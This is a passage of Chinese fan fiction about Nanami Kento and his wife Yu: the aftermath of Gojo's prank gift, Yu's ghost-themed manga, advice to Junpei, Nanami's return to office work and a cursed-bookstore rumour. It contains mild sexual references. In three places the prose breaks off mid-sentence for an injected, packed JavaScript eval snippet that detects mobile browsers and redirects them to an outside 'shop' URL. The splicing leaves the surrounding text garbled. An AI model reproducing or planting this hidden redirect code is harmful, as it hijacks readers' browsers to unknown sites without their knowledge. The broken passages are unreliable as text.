“五条悟!”七海从牙缝里挤出这三个字,额角青筋跳动。 他立刻明白那些是什么了。 必须清理出来,越快越好。 “悠,醒醒。”他轻轻口勿她潮红未退的脸颊。 “嗯………不要了……真的不行了……”悠半梦半醒地嘟囔,往他怀里缩。 “不是那个…需要清理一下。”七海的声音带着罕见的窘迫和严肃,“那个……橡胶,是漏的。” “漏的?”悠迷迷糊糊地重复,几秒后,这三个字像冰水浇头,让她瞬间清醒,眼睛瞪得溜圆,“什么?!” 在悠恨不得找个地缝钻进去的目光中,七海不得不硬着头皮。 “呜·……都怪你!都怪那个什么五条前辈!”悠把滚烫的脸埋进被子里,声音闷闷的,带着哭腔和极度的羞赧,“买的什么破东西!新婚一周……三、四次也没像今天这样……” 她不好意思说下去,但意思很明显——也没像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154074|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天这样“搂”得这么彻底,清理得这么让人无地自容。 七海也是一脸无奈和懊恼,清理的动作却异常轻柔仔细。 他在心里给五条悟记上了浓墨重彩的一笔。 远在东京某处的五条悟,此刻突然打了个响亮的喷嚏。 他揉了揉鼻子,脸上露出恶作剧得逞般的灿烂笑容:“阿嚏!谁在想我?肯定是娜娜明收到我的“贴心礼物’了吧?不知道他‘体验得怎么样,肯定很惊喜~哈哈哈!” 他完全不知道,自己买的那个“加强版惊喜”,其实是个“漏洞百出的惊吓”。 终于清理完毕,七海重新搂住羞得不敢看他的悠,躺回她身边,将她搂进怀里,拉过被子盖住两人。 “腿软……”悠小声抱怨,“明天怎么走路……” “睡吧,明天我背你。”他吻了吻她发顶,低声承诺。 悠累极了,在他怀里闷闷地“嗯”了一声,很快沉入梦乡。 七海却睁着眼,手再次轻轻覆上她平坦的笑敷,那里似乎还残留着温热的触感。 清晨,七海在浅川町的老宅醒来。 他比平时晚了十六分钟——昨夜连续几次的高强度“运动”,加上最后那场混乱的清理,让他久违地感到了□□的疲惫。 更重要的是,怀里还沉睡着一个人。 七海低头看她——睡颜安稳,嘴角微微上扬,似乎在做什么美梦。 只有仔细看,才能发现她眼下的淡青色,以及颈侧和锁骨上那些新鲜的、艾昧的红痕。 昨晚的回忆不受控制地涌上脑海。悠生瑟却大胆的撩拨,她月光下泛着朝红的脸,那些压意不住的呜咽和哭腔……还有最后那场意外。 七海的手掌轻轻覆上悠的小付。 平坦,柔软,带着睡眠的温热。 他计算着日期。 今天是6月27日,悠的生理期应该在下周。 如果是排乱期…… “嗯……”怀里的悠动了动,睫毛颤了颤,缓缓睁开眼。 她的眼睛还有些蒙眬,聚焦后,第一个看到的就是七海近在咫尺的脸。 “……早,七海海。”声音带着刚醒的沙哑。 “早。”七海的手指轻轻梳理她额前的碎发,“腿还软吗?” 悠的脸“唰”地红了。她把脸埋进他胸口,闷声说:“……不许问。” 七海低笑了一声——很轻,但胸腔的震动清晰地传给了她。 “该起床了。”他说,“早班车八点十分。” “知道了……”悠不情愿地松开他,撑着坐起身。 下一秒,她倒吸一口凉气,“……真的软。” 七海也坐起身,手臂自然地环住她的腰:“所以昨晚我说了,今天背你。” “不要。”悠倔强地摇头,“那样太丢人了……我自己能走。” 但当她试图站起来时,腿部的酸软还是让她踉跄了一下。 七海及时扶住她。 “……好吧。”悠放弃了,“或许我应该带个口罩。” “放心。” 收拾行李很简单。 佐藤爷爷已经准备好了早餐——简单的饭团和味噌汤。 “要走了?”老人站在玄关,看着他们。 “嗯,今天要回东京。”悠鞠躬,“谢谢佐藤爷爷照看老宅。” 老人点点头,目光在两人之间停留片刻,然后落在悠脸上:“小悠。” “是?” “你外婆和妈妈留下的东西……”他顿了顿,“好好收着。但别太执着于过去。” 悠愣了一下,随即微笑:“我明白。我现在……有现在的生活。” 佐藤爷爷脸上露出一丝欣慰:“那就好。” 27. 日常的琐碎 走出老宅时,阳光正好。 悠趴在七海背上,手臂环着他的脖子,脸贴在他肩头。 “七海海。” “嗯?” “你说……那个小女孩,现在见到妈妈了吗?” 七海想了想“你帮她解开了线,应该已经去了该去的地方。” “希望如此。”悠轻声说,“等待的感觉……太寂寞了。” 七海没有接话,只是将她往上托了托,走得更稳。 等两人回到家时,已是上午十一点。 打开门,熟悉的家的气息扑面而来。 悠脱了鞋,直接扑进沙发:“啊……终于回来了……” 七海将行李放好,开始检查冰箱里的食物“食材不够了,我下午去趟超市。” “知道啦……”悠在沙发上翻了个身,“不过在那之前,我要先睡个午觉……好累……” 话音未落,她的手机响了。 悠看了一眼来电显示,表情立刻垮了下来:“……是编辑。” 七海挑眉:“接吧。” 悠深吸一口气,按下接听键:“喂,真由美姐……” “悠!你还知道接电话!”电话那头传来中年女性急切的声音,“截稿日已经过去三天了!读者催更的邮件都快把我邮箱塞爆了!” “对不起对不起……”悠坐起身,“我前两天回老家了,刚回来……” “我不管什么理由!今天下午五点前,至少交三张完成稿给我!不然我就亲自去你家盯着你画!” “五点前?!这太……” “四点!” “等等!五点就五点!” “四点五十!” “五点!就五点!”悠几乎要哭出来,“我保证交稿!” 挂了电话,悠瘫回沙发,一脸生无可恋:“完了……这个月真的拖太久了……” 七海从厨房走过来,手里端着一杯水:“需要帮忙吗?” “七海海帮我画吗?”悠眼睛一亮。 “我可以帮你做家务,让你专心画画。”七海说,“或者,你需要灵感的话,我们可以讨论剧情。” 悠想了想,忽然坐直身体:“对了……灵感……” 她跑进书房,很快抱着一叠草稿纸出来,摊在茶几上。 “你看,这是我在公寓里看到的那些‘线’。”她指着草稿上密密麻麻的线条,“这些线不只是‘存在’那么简单……它们承载着其他的记忆。” 七海在她身边坐下,看着那些草图。 “你看这个。”悠翻到其中一页,上面画着一个蜷缩的人形,身体被无数灰色的线缠绕,“这是……之前被困在墙里的人。在我‘看见’他的时候,我从他的线,读到了他的记忆。” 她顿了顿,声音低了下来:“他是个建筑工人,三十年前在这栋楼施工时,发生了意外。墙体坍塌,他被困在里面……同伴以为他逃出来了,其实他没有。他在黑暗里等了两天,最后……” 七海握住她的手。 “但他没有怨恨。”悠抬起头,眼神复杂,“他的线里,更多的是遗憾——遗憾没能见到女儿出生,遗憾没能和妻子说最后一句话,遗憾还有很多事没做……” 她翻到下一页,又是一个人形“这个是个老奶奶,以前住在404室。她在这里住了四十年,丈夫早逝,孩子去了国外。她每天坐在窗前,等邮递员来……但其实没人给她写信。她去世后,执念让她留在了这里。” 一页又一页。 每一个被困在公寓里的存在,悠都画了下来——不仅是他们的形态,还有他们的故事。 “我想把他们的故事画出来。”悠轻声说,“不是作为恐怖漫画,而是……作为一个记录。让他们以另一种方式被记住。” 七海看着她的侧脸。 晨光透过窗户洒在她身上,让她看起来像是发着光。 “很好的想法。”他说,“需要我做什么?” “帮我想个标题?”悠眼睛亮起来,“之前的《线之语》有点太抽象了……” 七海思考片刻“《阳光公寓物语》如何?用温馨的标题,讲述非日常的故事。” “啊!这个好!”悠兴奋地点头,“反差感很强!” 她立刻拿起铅笔,在草稿上写下标题。 然后开始构思分镜——将那些记忆碎片编织成连贯的故事,恐怖与温情并存,让读者在感到毛骨悚然的时候,又有一丝温情。 七海起身去厨房准备午餐。 他切菜时,能听见书房里铅笔划过纸张的沙沙声,以及悠偶尔的低声自语。 “这里用回忆杀……不对,应该先建立日常感……啊,这个视角不错……” 下午,门铃响了。 悠正画到关键处——主人公第一次“看见”墙中灵魂的场景。 她头也不抬地喊:“七海海!开门!” 七海从书房走出来——他刚才在处理积压的工作邮件。 打开门,门外站着吉野顺平。 少年背着书包,手里提着一个便当袋,表情有些局促。 “七、七海先生。”他鞠躬,“打扰了。妈妈让我送点她做的点心过来……顺便,我有些作业不太会,想问一下悠小姨。” “进来吧。”七海侧身,“悠在书房赶稿,不过应该快告一段落了。” 顺平走进玄关,小心地换了鞋。 他的目光下意识地扫过客厅——电视柜旁边的位置,那块“污渍”已经消失了。 事实上,自从公寓事件后,整个房间的氛围都变了。 那种若有若无的“被注视感”消失了。 空气变得更轻盈,光线也更通透。 连坂本太太来串门时都说:“哎呀,你们是不是重新装修了?感觉房间亮堂了不少。” “顺平?”悠从书房探出头,“你来了!稍等我一下,还有最后几笔……” “不急的。”顺平小声说,在沙发上坐下。 七海给他倒了茶,又从冰箱里拿出悠早上买的布丁。 顺平小声道谢,安静地坐着。 五分钟后,悠抱着速写本走出书房,长舒一口气:“搞定!勉强赶上了……” 她瘫在顺平旁边的沙发上,转头看他:“作业遇到问题了?” “嗯……”顺平从书包里拿出数学练习册,“这几道几何题……不太明白。” “我看看。”悠接过练习册,看了几眼,“呃……这个……” 她求助地看向七海。 七海走过来,接过练习册看了片刻,然后从茶几下拿出纸笔:“这里需要做辅助线。你看,连接这两个点……” 他的讲解清晰简洁,逻辑严密。 顺平认真地听着,时不时点头。 讲解完所有题目后,顺平收拾书包,却迟迟没有离开。 他坐在沙发上,手指绞着衣角,似乎想说什么。 “怎么了?”悠问。 “那个……”顺平抬起头,犹豫着,“悠小姨,七海先生……我想问……关于上次的事。” 七海和悠对视一眼。 “哪次?”七海问。 “就是……我在这里遇到怪事的那次。”顺平的声音更小了,“那天晚上睡觉,我感觉有什么东西在追我……之后,我就觉得,这栋楼好像……变了。” 他顿了顿,鼓起勇气:“我想知道……到底发生了什么?那些……不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154075|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的幻觉,对吗?” 悠看向七海。 七海微微点头——意思是,你自己决定。 悠深吸一口气。 “顺平。”她轻声说,“你相信世界上有‘看不见的东西’吗?” 顺平沉默了几秒,然后点头:“我相信。因为……我能感觉到。有时候走在街上,会觉得有人在看我,但回头什么都没有。晚上睡觉,会听见奇怪的声音……妈妈说是我太敏感了,但我知道不是。” 他的声音很轻,带着少年人特有的困惑和不安:“我很害怕……但又控制不住地去注意那些东西。有时候在学校,会突然觉得很冷,或者觉得某个角落特别暗……同学们都说我想太多,但我知道不是。” 悠伸出手,轻轻拍了拍他的肩膀。 “顺平,你听我说。”她的声音很温柔,“这个世界上,确实存在着普通人看不见的东西。有些是恶意的,有些只是迷路了,有些……只是需要一个倾听者。这些你分辨不出,要学会无视它们保护好自己。” 她斟酌着措辞“上次你遇到的事,确实是‘那种恶意的东西’。但你很坚强,你能走出来。之后,我和七海海……处理了那个东西。所以现在这栋楼安全了。” “处理了?”顺平问,“怎么处理的?” 七海开口“用了一些特殊方法。重要的是,它不会再伤害任何人了。” 顺平看着他们,眼神复杂“所以……悠小姨和七海先生,你们都能看见那些东西?” 悠点头:“我能看见。七海海……曾经从事过相关的工作。” 她没有说“咒术师”,因为那对顺平来说可能太难理解了。 “那……”顺平犹豫着,“我以后还会遇到那种事吗?” “可能会。”悠诚实地说,“但记住几点:第一,不要轻易回应呼唤你的声音;第二,如果感觉不对劲,立刻离开那个地方;第三,也是最重要的——大部分‘那种东西’,只要你不在意它们,它们就可能会忽视你。” 她顿了顿,又说:“如果你真的害怕,可以随时联系我们。或者……我教你一个小方法。” “什么方法?” “随身带个耳机。”悠说,“感觉不对劲就带上假装听音乐,如果感觉有什么跟着你,就赶快跑——很多时候,它们觉得你看不见,自己就会离开。” 顺平认真地记下。 然后,他问出了最困扰他的问题:“悠小姨,你为什么……不害怕呢?” 悠愣了一下,然后笑了。 “因为习惯了。”她说,“而且,我能分辨出来,所以学会了和它们相处。之前我碰到大部分都不是坏人……或者说,坏‘东西’。它们只是迷路了,或者有未完成的心愿。有时候,帮助它们,比害怕它们更有意义。” 她拿起茶几上的速写本,翻开其中一页:“你看,我正在画一个漫画,讲的就是这栋楼里的故事。那些曾经住在这里的人,他们的事……” 顺平凑过去看。 草图上画着一个老奶奶坐在窗前的背影,窗外是飘落的樱花。 “这是以前住在404室的奶奶。”悠轻声说,“她等了一辈子信,但没人给她写。所以我想,至少在我的漫画里,让她收到一封信。” “但是顺平这并不意味着,大部分是友善的,相反这种东西基本上是对我们是充满恶意的,甚至是会主动加害的,只是我们运气好罢了。” 顺平看着那些画,看了很久。 “……悠小姨。”他低声说,“谢谢你告诉我这些。” “不客气。”悠摸摸他的头,“但答应我,不要告诉你妈妈。她会担心的。” “嗯。”顺平点头,“这是我们之间的秘密。” 28. 又要上班了 送走顺平后,悠继续完善她的漫画稿。 七海坐在她对面,处理工作文件。 书房里很安静,只有笔尖划过纸张的声音,和键盘敲击的声音。 悠终于画完了最后一张稿子。 她长舒一口气,将稿子扫描,通过邮件发给编辑。 邮件发送成功的提示音响起时,她整个人瘫在椅子上:“啊──终于……活过来了。” 七海合上笔记本电脑:“辛苦了。” “不过……”悠看着屏幕上的画稿,“编辑肯定会问我,为什么突然改变风格。之前的作品都是纯粹的恐怖,这次却加了很多温情元素。” “你可以如实说。”七海说,“就说,你想讲述‘恐怖背后的故事’。” 悠思考着这个说法,然后点头:“有道理。恐怖本身不是目的,而是通往某种真实的手段……唔,这句话可以用在作者后记里。” 她保存好文件,关掉电脑。 然后走到七海身边,坐在地毯上,靠在他腿边。 “七海海。” “嗯。” “我在想……”悠仰头看他,“那些被我‘送走’的存在,他们现在在哪里?” 七海放下手中的文件,低头看她:“按照你的理论,他们应该去了‘线’该去的地方。” “但‘线’该去的地方是哪里呢?”悠追问,“是轮回?是消散?还是……另一个世界?” “我不知道。”七海诚实地说,“但我相信,你给了他们最好的结局——从束缚中解脱。” 悠沉默了片刻,然后轻声说:“你知道吗,在帮那个小女孩解开线的时候,我感觉到了……她最后是笑着离开的。她在等妈妈,而当线解开的那一刻,她好像真的看见了妈妈。” 她顿了顿:“所以我在想,或许‘线’不只是束缚,也是一种连接。悲伤的线连接着遗憾,爱的线连接着思念……当我们解开线的同时,也完成了那种连接。” 七海的手指轻轻梳理着她的头发。这个理论很深奥,也很悠式——充满了直觉和诗意。 “那你和我之间的线呢?”他忽然问。 悠眨了眨眼,然后笑了:“那是红色的,很漂亮的线。不是束缚,是……选择。” 她坐起身,认真地看着他:“你看,这个世界上有那么多线,但我选择让我的线和你连接。你也选择连接我。这是我们共同的决定。” 七海看着她认真的表情,心里某个地方变得很柔软。 他俯身,吻了吻她的额头。 “嗯。”他说,“我们共同的决定。” 晚饭后,两人在阳台上乘凉。 夜色很好,能看到星星。 远处传来隐约的电视声和小孩的嬉笑声,是普通夏夜的日常。 “七海海。”悠靠在栏杆上,“你说,我们现在的生活……算是‘普通’吗?” 七海思考着这个问题。 有咒术的背景,有能看到线的能力,有公寓里发生的怪事……从任何角度看,都不算普通。 但—— “我们有稳定的工作,住在普通的公寓,和邻居正常交往,每天吃饭睡觉。”七海说,“从这个意义上说,很普通。” 悠笑了:“也是。而且最重要的是……” 她转过身,面对他:“我们在一起。这就够了。” 七海点头。他看向夜空,忽然说:“悠。” “嗯?” “如果……”他斟酌着措辞,“我是说如果,未来我们有了孩子。你希望他/她继承你的能力吗?” 悠愣住了。 这个问题太突然,也太…… 她低头,手不自觉地抚上小腹。 昨夜那个意外的可能性,她不是没有想过。 只是不敢深想。 “我……”她轻声说,“我不知道。看见线的能力……有时候是礼物,有时候是负担。我不确定,是否应该让孩子承受这种负担。” “但如果他/她真的继承了,你会怎么做?” 悠想了想,然后抬起头,眼神变得温柔:“那我就会告诉他/她,这不是诅咒,而是看待世界的另一种方式。我会和你一起教他/她使用这种能力,我教他/她怎么与‘线’和平相处,你来教他/她分辨那些东西……” 她顿了顿,笑了:“就像我妈妈在卷轴上写的那样……。” 七海看着她。 在夜色中,她的眼睛很亮,像藏着星星。 “当然。”他说,“我们可以一起教他/她。而且孩子像你多一点,才是最好的礼物。” 悠的眼睛睁大了:“七海海,你……” “我只是在做合理的规划。”七海推了推眼镜,但耳根微微发红,“既然有可能性,就应该提前考虑。” 悠看着他故作镇定的样子,忍不住笑出声。她扑进他怀里,脸埋在他胸口。 “……谢谢你,七海海。” “谢什么?” “谢谢你……愿意和我一起考虑那么远的未来。” 七海的手臂环住她。晚风吹过,带来夏夜的气息。 “不远。”他低声说,“我们会一直在一起。所以,未来随时都会来。” 悠在他怀里点头。 夜色渐深。 公寓楼的灯光一盏盏熄灭,城市逐渐安静下来。 但在阳台上,两个人还依偎在一起,轻声说着话,规划着或许很近、或许很远的未来。 第二天? 悠还在熟睡,整个人像树袋熊一样缠在他身上。 七海想起两天前的混乱夜晚,那盒“情趣仿真体验版”的包装还躺在家里的垃圾桶深处。 他的表情微妙地扭曲了一瞬。 小心地抽出被压麻的手臂,七海走进浴室。 精神状态比休假前好得多。 他用冷水洗脸, 今天要回归“狗屎工作”了。 年假休了两。 悠拿到了母亲留下的卷轴,公寓的问题也彻底解决了。 早餐是煎蛋、吐司和黑咖啡。七海把悠那份吐司的边角切好——她不爱吃硬边。 七点十五分,悠揉着眼睛从卧室晃出来,睡衣领口滑到肩头,露出锁骨上已经淡去的红痕。 “……早。”她声音黏糊糊的,整个人瘫在餐桌边,“七海海今天上班?” “嗯。”七海把咖啡推过去,“年假提前结束了。” “哦……”悠端起咖啡喝了一口,立刻皱起脸,“苦死了……” “提神。”七海快速吃完自己那份,“你今天继续赶稿?截稿日还没到?” “还有一周……”悠小口啃着吐司,“但编辑说想提前看分镜……我昨晚构思了新故事,关于书店的……” 七海看了眼时钟——七点二十三分。他该出发了,但还有件事要做。 他拿出手机,开始打字。 先给伊地知洁高: “伊地知,礼物已收到,多谢。茶具我妻子很喜欢。——七海” 措辞简短正式,符合他们并不熟悉的前后辈关系。 然后是家入硝子: “家入学姐,指南收到,很实用。多谢挂念。——七海” 没有提及悠,只表达感谢。 夜蛾正道: “夜蛾老师,心意已领。目前生活安稳,无意重返咒术界。祝好。——七海” 明确立场,不留余地。 最后是五条悟。 七海盯着屏幕,手指在键盘上悬停。那盒恶搞礼物的记忆让他额角抽痛,但下面那对夜光杯和点心券确实实用——悠昨晚还在星空投影下笑得很开心。 他最终打了三行字: “悟,杯子和点心券已用,谢了。另外如果有机会、见面再‘聊’。——七海” 点击发送。 几乎在下一秒,回复就来了: “哇!娜娜明!另外的那个呢!用了那个嘛?怎么样怎么样?新婚生活很激情嘛~(??ω??)” 七海面无表情地打字:“不关你事。” “别这么冷淡嘛!告诉我嘛!喜欢吗?” “闭嘴。” “诶~小气!明明我送了那么贴心的礼物!” “……” “也是心意嘛!所以到底用没用嘛?” 七海深吸一口气,快速打字:“在垃圾桶安家了,现在我要去上班,别烦我。” 发送,然后立刻将五条悟的聊天界面设为免打扰。 手机安静了。 “怎么了?”悠抬起头,“你前辈又说什么了?” “没什么。”七海收起手机,“他问我礼物怎么样。” “你怎么说的?” “说点心券很好。”七海站起身,拿起公文包,“悠,我走了。晚上可能加班,不用等我吃饭。” “好哦。”悠跟着走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154076|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到玄关,踮脚在他脸颊亲了一下,“路上小心,七海海。” 七海点头,转身出门。电梯下降时,他对着金属门整理了一下领带——那个严谨、克制、高效的证券分析师七海建人,重新上线。 七海踏入证券公司大楼,比规定的上班时间早了八分钟。 前台看到他有些意外:“七海先生?您不是请了三天假吗?今天才第三天……” “提前回来了。”七海点头,“积压的工作不会自己消失。” 只会变成狗屎。 走进办公室时,空气有瞬间的凝滞。 几个同事抬起头,眼神各异——有关切,有好奇,也有那种“新婚就急着回来上班果然是个工作狂”的了然。 “七海!你回来了!”邻桌的田中大声招呼,引得更多人看过来,“新婚旅行怎么样?真浪漫啊!” “谢谢。”七海将公文包放在桌上,打开电脑,“我不在期间,山本组的项目是谁在跟进?” “呃……是我。”田中挠挠头,“但客户那边有点问题……” “什么问题?”七海已经开始查看邮件列表,“具体到哪一步了?” 接下来的一个半小时,七海处理了二十七封未读邮件,修正了田中提交的报告中的四处数据错误,重新拟了一份被客户打回三次的分析摘要。 他像一台校准过的仪器。 午休时间,几个同事约他去楼下餐厅,他婉拒了。 “要处理积压工作。”他说,“你们去吧。” 等办公室空下来后,七海才靠在椅背上,松开领口的第一颗纽扣。 窗外的东京在盛夏阳光下白得刺眼,电车在高架轨道上滑过,带起一阵热风。 他忽然想起昨天在老宅的庭院里,悠蹲在梅树下解开那些灰色线的画面。 动作那么轻,那么自然,仿佛不是在超度一个存在多年的灵体,只是在帮迷路的孩子找到回家的方向。 ——和眼前这些数字、报表、客户邮件,是两个世界。 手机震动。 是悠发来的消息,附了一张照片:速写本上画着一个阴森的老旧书店内部,角落的桌子上放着一本暗红色的书。 “书店怪谈的草图!灵感来了!七海海工作加油~(??????)??” 七海看着那个颜文字,嘴角无意识地扬了一下。 他打字回复:“嗯。别拖稿。” “知道啦!” 对话结束。 七海收起手机,重新看向屏幕。 那些关于线和咒力的思绪被压回脑海深处,此刻占据他思维的是季度财报、市场波动率、风险评估模型。 下午两点,部长把他叫进办公室。 “七海,欢迎回来。”五十多岁的部长推了推眼镜,“新婚生活还适应吗?” “很好。” “那就好。”部长话锋一转,“其实叫你进来,是有个新项目。山田工业的并购案,你应该知道吧?” 七海心里一沉。 那个业内著名的烂摊子——两家公司创始人反目成仇,财务数据混乱,法律纠纷一堆,甲方负责人以难缠著称。 “我知道。”七海说,“但我的项目表已经排满,而且刚休假回来,需要时间熟悉……” “所以才需要你。”部长打断他,“组里其他人搞不定。这个项目给你额外预算,加班费按最高标准算。年底晋升评估也会重点考虑。” 七海看着部长的眼睛。 那里面没有商量的余地。 “……我明白了。”他说,“资料发给我吧。” “很好。”部长笑了,“就知道你能行。” 走出办公室时是下午两点十七分。 七海回到座位,打开部长刚发来的项目文件夹——密密麻麻的法律文件、冲突的财务数据、双方互相指责的邮件记录。 他计算了一下:按正常进度,这个项目需要至少八十小时有效工作时间。 以他每天加班三小时计算,要将近四周。 而他的其他项目也不能停。 七海摘下眼镜,揉了揉眉心。 ——狗屎工作。 但这就是他选择的,普通人的生活。 用规律、逻辑、可预测性构建的堡垒,用来隔绝另一个世界的疯狂与非理性。 他重新戴上眼镜,开始阅读第一份文件。 窗外的阳光一点点西斜。 29. 悲情漫画 同一时间,悠盘腿坐在地毯上,周围散落着铅笔、橡皮、还有一堆从图书馆借来的旧书店摄影集。 她已经保持这个姿势四个小时了。 速写本上:穿着校服的女孩走进昏暗的书店,目光被角落一本暗红色的书吸引;翻开书,书页一片空白;女孩失望地合上,但当晚她却梦见书页浮现文字;第二天,那本书上真的出现了字——是她暗恋的学长写给她的情书,详细到只有他们两人知道的细节…… “不行……”悠划掉最后一格,“这样不够恐怖嘛……” 恐怖,不在于突然的惊吓,而在于日常被缓慢侵蚀的过程。 是那种“有什么不对劲,但说不出哪里不对”的累积,是熟悉的事物逐渐变得陌生的不安感。 她需要更细微的东西。 悠站起身,走到窗边。 盛夏午后的阳光炙烤着街道,商店街的行人寥寥无几。 她的目光落在书店的方向。 在她的视野里,那家书店周围缠绕的暗紫色线似乎更浓了一些。 不是咒力,不是怨念,而是……某种聚集的“关注”。 很多人开始谈论那家店了。 很多人开始相信“那本书能预知未来”。 相信本身,会强化怪谈。 悠回到书桌前,重新拿起铅笔。 这次,她画得更慢,更细致: 第一格:女孩在书店打工,每天擦拭书架。 她注意到那本红皮书总是在不同的位置——今天在推理小说区,明天在文学区,后天在儿童绘本区。 第二格:她问老板“这本书要卖吗?” 老板眯着眼睛看了很久:“嗯?哪本?我不记得进过这样的书……” 第三格:女孩开始留意每个拿起这本书的客人。 一个中年男人翻开后脸色大变,匆匆离开;一个高中女生看了几页后开始哭泣;一个老人颤抖着合上书,喃喃自语“怎么会……” 第四格:女孩终于忍不住,在打烊后翻开了那本书。 书页空白。 她等了十分钟,还是空白。 她失望地放回原处。 第五格:当晚,她梦见书页上浮现文字——是她父亲车祸的详细描述,时间就在明天下午三点,地点是她每天放学经过的路口。 第六格:她惊醒,冷汗浸透睡衣。 第二天,她请假没去上学,守在路口。 三点整,一辆卡车失控冲上人行道,撞断了电线杆——但没有人受伤。 卡车司机吓傻了,喃喃说刹车突然失灵。 第七格:女孩回到书店,那本书不见了。 她问老板,老板还是一脸茫然:“什么红皮书?你是不是记错了?” 第八格:一周后,女孩在整理新到的二手书时,再次看到了那本红皮书。 她颤抖着翻开——这次出现的,是她母亲病倒的画面,诊断书上的字迹清晰可见。 第九格:她冲回家,母亲正在做饭,一切如常。 但三天后,母亲真的晕倒了,送医后的诊断和书上一模一样。 第十格:女孩终于明白:这本书不会预言“必然”,只会展示“可能性”。 但每个看到可能性的人,都会因为恐惧或干预,让可能性成真。 最后一格:女孩站在书店里,看着那本红皮书。 她的手伸向它,又缩回。门外有新的客人进来——是个抱着婴儿的年轻母亲。 女孩看着那个母亲走向放红皮书的书架…… 悠停笔。 这个结局——没有解决,只有蔓延。 怪谈像病毒一样传播,每个接触者都成为新的载体。 她看了眼时钟,该出门了——昨天和商店街的蔬菜店阿姨约好,今天要去听更多的“素材”。 悠换了条简单的棉布裙,扎起头发,背上帆布包。 出门前,她给七海发了条消息:“我去商店街买菜,顺便收集素材。晚上想吃什么?” 几分钟后,回复来了:“都可以。别太晚回。” “知道啦~” 下午的街区比中午热闹些。 主妇们开始采购晚餐食材,放学的孩子们挤在零食店前,老人们坐在荫凉处摇着扇子聊天。 悠先在蔬果店买了西红柿和黄瓜。店主阿姨一边称重一边压低声音说, “哎呀,小悠,你昨天问的那个书店的事,我又听到新的了!” “哎!是吗?”悠接过袋子,“什么新消息?” “听说啊,有个高中生,在书里看到自己考试作弊被抓的画面。”阿姨神神秘秘地说,“他吓坏了,考试那天特别小心,根本没作弊。但坐在他前面的女生作弊,被老师抓了个正着——那女生用的方法,和书里写的一模一样!” “只是巧合吧?” “一次是巧合,两次三次呢?”阿姨摇头,“还有个更吓人的——隔壁町的田中太太,在书里看到丈夫出轨的对象是她最好的朋友。她回去大吵大闹,结果真的在丈夫手机里发现了聊天记录……” 悠心里一沉。 这不只是“看到可能性”,这是主动催化可能性的实现了。 “那本书……还在书店里吗?” “在啊!好多人特意去看呢。”阿姨叹气,“不过店长老爷子好像很苦恼,说根本没那本书,但客人们都说有……” 付了钱,悠走向鱼店。 路过书店时,她停下脚步。 透过玻璃窗,能看到里面有几个客人。 一个穿着校服的女生站在角落的矮桌前,正盯着那本暗红色的书犹豫要不要翻开。 悠的视野里,女孩身上延伸出细细的、不安的暗紫色线,正慢慢飘向那本书。 而她身上的线,开始染上同样的颜色。 “别看……”悠轻声说,但隔着玻璃,女孩听不见。 最终,女孩还是伸手拿起了书。 悠移开目光,继续往前走。 在鱼店买了鲭鱼后,她遇到了坂本太太。 “哎呀,七海太太!”坂本太太提着购物篮,“出来买菜?你家先生上班去了?” “嗯,今天开始恢复上班了。” “真是辛苦啊。”坂本太太和她并肩走着,“对了,你表姐吉野太太前几天碰到我,说她儿子顺平找了个家教,成绩进步了不少呢。” “是吗?那太好了。” “不过……”坂本太太压低声音,“顺平那孩子,最近好像还是有点……怎么说呢,心神不宁的。吉野太太说他晚上睡不好,总说听到奇怪的声音。我悄悄跟你讲啊,会不会是之前那栋楼的事……” 悠心里一动:“应该不是。楼里已经干净了。” “那就好。”坂本太太点头,“不过啊,有些人天生就比较敏感。顺平那孩子……可能就是这样吧。” 两人在路口分开。 悠提着食材往家走,脑海里回响着坂本太太的话。 敏感——是的,七海海说顺平能微弱地感知到咒力,虽然没有觉醒术式,但这种感知能力会让他比普通人更容易注意到异常。 也更容易被异常影响。 回家路上,悠给顺平发了条消息:“顺平,最近怎么样?家教还顺利吗?” 几分钟后,回复来了,“嗯,数学进步了。谢谢悠小姨关心。” “睡得好吗?听你妈妈说晚上有点睡不好。” 这次过了很久才回复“……还好。就是有时候会做奇怪的梦。” “什么梦?” “梦见……很多眼睛在看我。还有黑色的东西,缠在身上……” 悠停下脚步思考。 应该只是梦境中的象征性意象。 如果他持续感知到异常,潜意识可能会用这种压抑恐怖的形式表达出来…… 她打字“如果再做这样的梦,可以告诉我。或者,试试睡前喝杯热牛奶,听听放松的音乐。” “好。谢谢悠小姨。” 对话结束。 悠站在公寓楼下,抬头看向六楼自己家的窗户。 暗流,从未真正停止。 晚上钥匙转动的声音响起。 七海推开门时,脸上带着难以掩饰的疲惫。 西装外套搭在手臂上,领带已经扯松,头发也有些凌乱——这是悠第一次见他如此“不整齐”的模样。 